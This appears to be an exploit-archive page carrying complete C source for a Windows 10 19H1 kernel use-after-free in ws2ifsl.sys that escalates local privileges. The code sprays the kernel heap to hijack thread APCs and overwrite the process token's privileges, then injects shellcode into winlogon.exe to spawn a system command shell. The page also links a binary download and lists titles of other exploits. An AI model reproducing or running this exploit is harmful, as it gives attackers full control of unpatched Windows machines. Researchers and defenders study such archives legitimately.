Menu

Search for hundreds of thousands of exploits

"Microsoft Windows 10 (19H1 1901 x64) - 'ws2ifsl.sys' Use After Free Local Privilege Escalation (kASLR kCFG SMEP)"

Author

Exploit author

bluefrostsec

Platform

Exploit platform

windows_x86-64

Release date

Exploit published date

2020-01-07

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
/*
The exploit works on 19H1.
It was tested with ntoskrnl version 10.0.18362.295

EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47935.zip
*/

#include <Windows.h>
#include <stdio.h>
#include <string>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <winternl.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll.lib")

// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

static const unsigned int shellcode_len = 0x1000;

#define MAXIMUM_FILENAME_LENGTH 255 
#define SystemModuleInformation  0xb
#define SystemHandleInformation 0x10

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
	ULONG ProcessId;
	UCHAR ObjectTypeNumber;
	UCHAR Flags;
	USHORT Handle;
	void* Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct SYSTEM_MODULE {
	ULONG                Reserved1;
	ULONG                Reserved2;
#ifdef _WIN64
	ULONG				Reserved3;
#endif
	PVOID                ImageBaseAddress;
	ULONG                ImageSize;
	ULONG                Flags;
	WORD                 Id;
	WORD                 Rank;
	WORD                 w018;
	WORD                 NameOffset;
	CHAR                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
	ULONG                ModulesCount;
	SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

// exploit specific type information 
typedef struct _FILE_FULL_EA_INFORMATION {
	ULONG NextEntryOffset;		// +0x0
	UCHAR Flags;				// +4
	UCHAR EaNameLength;			// +5
	USHORT EaValueLength;		// +6
	CHAR EaName[1];				// +9
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _PROC_DATA {
	HANDLE apcthread;				// +0x0
	void* unknown1;				// +0x8
	void* unknown2;				// +0x10
	void* unknown3;				// +0x18
	void* unknown4;				// +0x20
} PROC_DATA, * PPROC_DATA;

typedef struct _SOCK_DATA {
	HANDLE unknown;				// +0x0
	HANDLE procDataHandle;	// +0x8	
} SOCK_DATA, * PSOCK_DATA;

// undocumented apis definitions 

typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
	HANDLE Event,
	PIO_APC_ROUTINE ApcRoutine,
	PVOID ApcContext,
	PIO_STATUS_BLOCK IoStatusBlock,
	PVOID Buffer,
	ULONG Length,
	PLARGE_INTEGER ByteOffset,
	PULONG key);

typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);

typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);

// resolved function pointers at runtime
NtTestAlert_t g_NtTestAlert = 0;
NtWriteFile_t g_NtWriteFile = 0;
RtlGetVersion_t g_RtlGetVersion = 0;

HANDLE	g_Event1 = NULL;
HANDLE	g_Event2 = NULL;
HANDLE	g_Event3 = NULL;

int g_done1 = 0;
int g_done2 = 0;

#define TOKEN_OFFSET 0x40			//_SEP_TOKEN_PRIVILEGES offset
#define OFFSET_LINKEDLIST 0xA8		//kthread apc offset

// generic helper function

void InjectToWinlogon()
{
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	int pid = -1;
	if (Process32First(snapshot, &entry))
	{
		while (Process32Next(snapshot, &entry))
		{			
			if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)
			{
				pid = entry.th32ProcessID;
				break;
			}
		}
	}

	CloseHandle(snapshot);

	if (pid < 0)
	{
		printf("Could not find process\n");
		return;
	}

	HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (!h)
	{
		printf("Could not open process: %x", GetLastError());
		return;
	}
	
	void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!buffer)
	{
		printf("[-] VirtualAllocEx failed\n");
	}
	
	if (!buffer)
	{
		printf("[-] remote allocation failed");
		return;
	}

	if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
	{
		printf("[-] WriteProcessMemory failed");
		return;
	}

	HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

	if (hthread == INVALID_HANDLE_VALUE)
	{
		printf("[-] CreateRemoteThread failed");
		return;
	}
}

HMODULE GetNOSModule()
{
	HMODULE hKern = 0;
	hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	return hKern;
}

DWORD64 GetModuleAddr(const char* modName)
{
	PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);

	DWORD outBuffer = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);

	if (status == STATUS_INFO_LENGTH_MISMATCH)
	{
		free(buffer);
		buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
	}

	if (!buffer)
	{
		printf("[-] NtQuerySystemInformation error\n");
		return 0;
	}

	for (unsigned int i = 0; i < buffer->ModulesCount; i++)
	{
		PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
		PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;		
		if (_stricmp(kernelImage, modName) == 0)
		{
			free(buffer);
			return (DWORD64)kernelImageBase;
		}
	}
	free(buffer);
	return 0;
}


DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
	PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20);

	DWORD outBuffer = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

	if (status == STATUS_INFO_LENGTH_MISMATCH)
	{
		free(buffer);
		buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer);
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
	}

	if (!buffer)
	{
		printf("[-] NtQuerySystemInformation error \n");
		return 0;
	}

	for (size_t i = 0; i < buffer->NumberOfHandles; i++)
	{
		DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;

		if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
		{
			if (handle == (HANDLE)buffer->Handels[i].Handle)
			{
				//printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
				DWORD64 object = (DWORD64)buffer->Handels[i].Object;
				free(buffer);
				return object;
			}
		}
	}
	printf("[-] handle not found\n");
	free(buffer);
	return 0;
}

DWORD64 GetGadgetAddr(const char* name)
{
	DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
	HMODULE mod = GetNOSModule();
	if (!mod)
	{
		printf("[-] leaking ntoskrnl version\n");
		return 0;
	}
	DWORD64 offset = (DWORD64)GetProcAddress(mod, name);

	DWORD64 returnValue = base + offset - (DWORD64)mod;
	FreeLibrary(mod);
	return returnValue;
}

/*	
	After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer,
	which will call our gadget function and write the first 8 bytes.
*/
DWORD WINAPI APCThread1(LPVOID lparam)
{
	SetEvent(g_Event1);
	while (1)
	{
		if (g_done1)
		{
			printf("[+] triggering first APC execution\n");
			
			g_NtTestAlert();		

			while (1)
			{
				Sleep(0x1000);
			}
		}
		else
		{
			Sleep(1);
		}
	}
	return 0;
}

/*
	After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes.
	After that the shellcode is injected into the system process.
*/
DWORD WINAPI APCThread2(LPVOID lparam)
{
	SetEvent(g_Event2);
	while (1)
	{
		if (g_done2)
		{
			printf("[+] triggering second APC execution\n");
						
			g_NtTestAlert();

			InjectToWinlogon();
			SetEvent(g_Event3);

			while (1)
			{
				Sleep(0x1000);
			}
		}
		else
		{
			Sleep(1);
		}
	}
	return 0;
}

HANDLE CreateSocketHandle(HANDLE procHandle)
{
	HANDLE fileHandle = 0;
	UNICODE_STRING deviceName;
	OBJECT_ATTRIBUTES object;
	IO_STATUS_BLOCK IoStatusBlock;

	RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");

	InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

	FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA));
	if (!eaBuffer)
	{
		printf("[-] malloc error\n");
		return fileHandle;
	}
	eaBuffer->NextEntryOffset = 0;
	eaBuffer->Flags = 0;
	eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
	eaBuffer->EaValueLength = sizeof(SOCK_DATA);

	RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1);

	SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);

	eaData->unknown = (void*) 0x242424224;
	eaData->procDataHandle = (void*) procHandle;

	NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA));
	if (status != STATUS_SUCCESS)
	{
		printf("[-] NtCreateFile error: %x \n", status);
		free(eaBuffer);
		return fileHandle;
	}

	free(eaBuffer);
	return fileHandle;
}

HANDLE CreateProcessHandle(HANDLE hAPCThread)
{
	HANDLE fileHandle = 0;
	UNICODE_STRING deviceName;
	OBJECT_ATTRIBUTES object;
	IO_STATUS_BLOCK IoStatusBlock;

	RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");

	InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

	FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
	if (!eaBuffer)
	{
		printf("[-] malloc error\n");
		return fileHandle;
	}
	eaBuffer->NextEntryOffset = 0;
	eaBuffer->Flags = 0;
	eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
	eaBuffer->EaValueLength = sizeof(PROC_DATA);

	RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1);
	PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);

	if (!hAPCThread)
	{
		printf("[-] error thread not found\n");
		free(eaBuffer);
		return 0;
	}

	eaData->apcthread = (void*) hAPCThread;		// thread must be in current process
	eaData->unknown1 = (void*) 0x2222222;		// APC Routine
	eaData->unknown2 = (void*) 0x3333333;		// cancel Rundown Routine
	eaData->unknown3 = (void*) 0x4444444;
	eaData->unknown4 = (void*) 0x5555555;

	NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
	if (status != STATUS_SUCCESS)
	{
		printf("[-] NtCreateFile error: %x \n", status);
		free(eaBuffer);
		return fileHandle;
	}

	free(eaBuffer);
	return fileHandle;
}

int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress)
{	
	DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop");
	if (!nopPointer)
	{
		printf("[-] SeSetAccessStateGenericMapping not found\n");
		return 0;
	}

	DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping");
	if (!funPointer)
	{
		printf("[-] SeSetAccessStateGenericMapping not found\n");
		return 0;
	}	

	UCHAR payload[0x120 - 0x48];
	memset(payload, 0x0, sizeof(payload));	   
		
	DWORD64 x = 0x41414141414141;				
	memcpy(payload, &x, 8);
	
	x = 0x12121212;								
	memcpy(payload + 8, &x, 8);
	
	x = kthreadAddress + OFFSET_LINKEDLIST;		// apc linked list 
	memcpy(payload + 0x10, &x, 8);
	
	x = kthreadAddress + OFFSET_LINKEDLIST;
	memcpy(payload + 0x18, &x, 8);
	
	x = funPointer;
	memcpy(payload + 0x20, &x, 8);				// this is the RIP we want to execute, in case of NtTestAlert

	x = nopPointer;
	memcpy(payload + 0x28, &x, 8);				// this is the RIP we want to execute, in case of rundown routine 
	
	x = 0xffffffffffffffff;						// this is to be written
	memcpy(payload + 0x30, &x, 8);
	
	x = 0xffffffffffffffff;						// this is to be written, but it gets changed..
	memcpy(payload + 0x38, &x, 8);
	
	x = 0x2424242424242424;
	memcpy(payload + 0x40, &x, 8);
	
	x = writeAddress;							// this is where to write 
	memcpy(payload + 0x48, &x, 8);
 
	for (size_t i = 0; i < 0x70; i++)
	{
		HANDLE readPipe;
		HANDLE writePipe;
		DWORD resultLength = 0;
	
		BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
		if (!res)
		{
			printf("[-] error creating pipe\n");
			return 0;
		}
		res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
	}

	return 1;
}

/*
	This function will trigger the use after free in ws2ifsl.sys and
	will try to reallocate the buffer with controlled content.
*/
void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id)
{
	HANDLE procHandle = CreateProcessHandle(threadHandle);
	printf("[!] procHandle %x\n", (DWORD)procHandle);

	HANDLE sockHandle = CreateSocketHandle(procHandle);
	printf("[!] sockHandle %x\n", (DWORD)sockHandle);

	char* readBuffer = (char*)malloc(0x100);
	DWORD bytesRead = 0;

	IO_STATUS_BLOCK io;
	LARGE_INTEGER byteOffset;
	byteOffset.HighPart = 0;
	byteOffset.LowPart = 0;
	byteOffset.QuadPart = 0;
	byteOffset.u.LowPart = 0;
	byteOffset.u.HighPart = 0;
	ULONG key = 0;

	CloseHandle(procHandle);

	NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);

	// this close the objecte and we trigger the use after free
	CloseHandle(sockHandle);

	// this spray will reclaim the buffer
	if (!DoHeapSpray(writeAddress, kthreadAddress))
	{
		printf("[-] error doHeapSpray\n");
		return;
	}

	if (id == 1)
	{
		g_done1 = 1;
	}

	if (id == 2)
	{
		g_done2 = 1;
	}

	printf("[+] done\n");
	Sleep(0x20);
	free(readBuffer);

	return;
}

/*
	This function resolves all function pointer for native api calls.
*/
bool InitFunctionPointers()
{
	HMODULE hNtDll = NULL;
	hNtDll = LoadLibrary("ntdll.dll");
	if (!hNtDll)
	{
		printf("error\n");
		return false;
	}

	g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert");
	if (!g_NtTestAlert)
	{
		printf("error\n");
		return false;
	}

	g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile");
	if (!g_NtWriteFile)
	{
		printf("[-] GetProcAddress() NtWriteFile failed.\n");
		return false;
	}

	g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion");
	if (!g_NtWriteFile)
	{
		printf("[-] GetProcAddress() RtlGetVersion failed.\n");
		return false;
	}

	return true;
}

int main()
{
	// intialize event for thread synchronization
	g_Event1 = CreateEvent(0, 0, 0, 0);
	g_Event2 = CreateEvent(0, 0, 0, 0);
	g_Event3 = CreateEvent(0, 0, 0, 0);

	if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1)
	{
		printf("[-] CreateEvent failed\n");
		return 0;
	}
	if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2)
	{
		printf("[-] CreateEvent failed\n");
		return 0;
	}
	if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2)
	{
		printf("[-] CreateEvent failed\n");
		return 0;
	}

	if (!InitFunctionPointers())
	{
		printf("[-] InitFunctionPointers failed\n");
		return 0;
	}

	HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
	if (!proc)
	{
		printf("[-] OpenProcess failed\n");
		return 0;
	}
	HANDLE token = 0;
	if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
	{
		printf("[-] OpenProcessToken failed\n");
		return 0;
	}	

	DWORD64 ktoken = GetKernelPointer(token, 0x5);
	DWORD64 where = ktoken + TOKEN_OFFSET;

	printf("[+] found token at: %p\n", (DWORD64) ktoken);


	// check the supported version of this exploit, otherwise we would crash
	RTL_OSVERSIONINFOW osversion;
	g_RtlGetVersion(&osversion);
	
	if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362)
	{
		printf("[+] version supported\n");
	}
	else
	{
		printf("[-] sorry version not supported\n");
		return 0;
	}

	HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0);
	if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1)
	{
		printf("[-] error CreateThread\n");
		return 0;
	}

	HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0);
	if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2)
	{
		printf("[-] error CreateThread\n");
		return 0;
	}
		
	DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8);
	if (!threadAddrAPC1)
	{
		printf("[-] GetKernelPointer error \n");
		return 0;
	}
	DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8);
	if (!threadAddrAPC2)
	{
		printf("[-] GetKernelPointer error \n");
		return 0;
	}

	// wait for threads to be initialized
	WaitForSingleObject(g_Event1, -1);
	WaitForSingleObject(g_Event2, -1);

	TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1);
	TriggerBug(hAPCThread2, where, threadAddrAPC2, 2);

	WaitForSingleObject(g_Event3, -1);
	
	ExitProcess(0);
	
	return 0;
}
Release DateTitleTypePlatformAuthor
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-24"UliCMS 2020.1 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-24"Wordpress Plugin WPForms 1.5.8.2 - Persistent Cross-Site Scripting"webappsphp"Jinson Varghese Behanan"
2020-03-24"Veyon 4.3.4 - 'VeyonService' Unquoted Service Path"localwindows"Víctor García"
2020-03-24"UCM6202 1.0.18.13 - Remote Command Injection"webappshardware"Jacob Baines"
2020-03-23"ProficySCADA for iOS 5.0.25920 - 'Password' Denial of Service (PoC)"dosios"Ivan Marmolejo"
2020-03-23"FIBARO System Home Center 5.021 - Remote File Include"webappsmultipleLiquidWorm
2020-03-23"Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection"webappsphpqw3rTyTy
2020-03-23"rConfig 3.9.4 - 'search.crud.php' Remote Command Injection"webappsphp"Matthew Aberegg"
2020-03-23"Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC)"doswindows"Cem Onat Karagun"
2020-03-23"CyberArk PSMP 10.9.1 - Policy Restriction Bypass"remotemultiple"LAHBAL Said"
2020-03-20"VMware Fusion 11.5.2 - Privilege Escalation"localmacos"Rich Mirch"
2020-03-20"Exagate Sysguard 6001 - Cross-Site Request Forgery (Add Admin)"webappsphp"Metin Yunus Kandemir"
Release DateTitleTypePlatformAuthor
2020-01-07"Microsoft Windows 10 (19H1 1901 x64) - 'ws2ifsl.sys' Use After Free Local Privilege Escalation (kASLR kCFG SMEP)"localwindows_x86-64bluefrostsec
2019-12-07"Mozilla FireFox (Windows 10 x64) - Full Chain Client Side Attack"localwindows_x86-64"Axel Souchet"
2019-11-03"DOUBLEPULSAR (x64) - Hooking 'srv!SrvTransactionNotImplemented' in 'srv!SrvTransaction2DispatchTable'"localwindows_x86-64Mumbai
2019-10-07"ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)"localwindows_x86-64max7253
2019-08-16"GetGo Download Manager 6.2.2.3300 - Denial of Service"doswindows_x86-64"Malav Vyas"
2019-01-28"CloudMe Sync 1.11.2 Buffer Overflow - WoW64 - (DEP Bypass)"remotewindows_x86-64"Matteo Malvica"
2019-01-02"NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC)"doswindows_x86-64"Luis Martínez"
2019-01-02"EZ CD Audio Converter 8.0.7 - Denial of Service (PoC)"doswindows_x86-64Achilles
2019-01-02"NBMonitor Network Bandwidth Monitor 1.6.5.0 - 'Name' Denial of Service (PoC)"doswindows_x86-64"Luis Martínez"
2018-11-16"Mumsoft Easy Software 2.0 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-11-16"Easy Outlook Express Recovery 2.0 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-11-15"Notepad3 1.0.2.350 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-11-14"AMPPS 2.7 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-11-12"CuteFTP 9.3.0.3 - Denial of Service (PoC)"doswindows_x86-64"Ismael Nava"
2018-11-12"Mongoose Web Server 6.9 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-11-06"Blue Server 1.1 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-11-06"eToolz 3.4.8.0 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-11-05"Softros LAN Messenger 9.2 - Denial of Service (PoC)"doswindows_x86-64"Victor Mondragón"
2018-11-02"Zint Barcode Generator 2.6 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
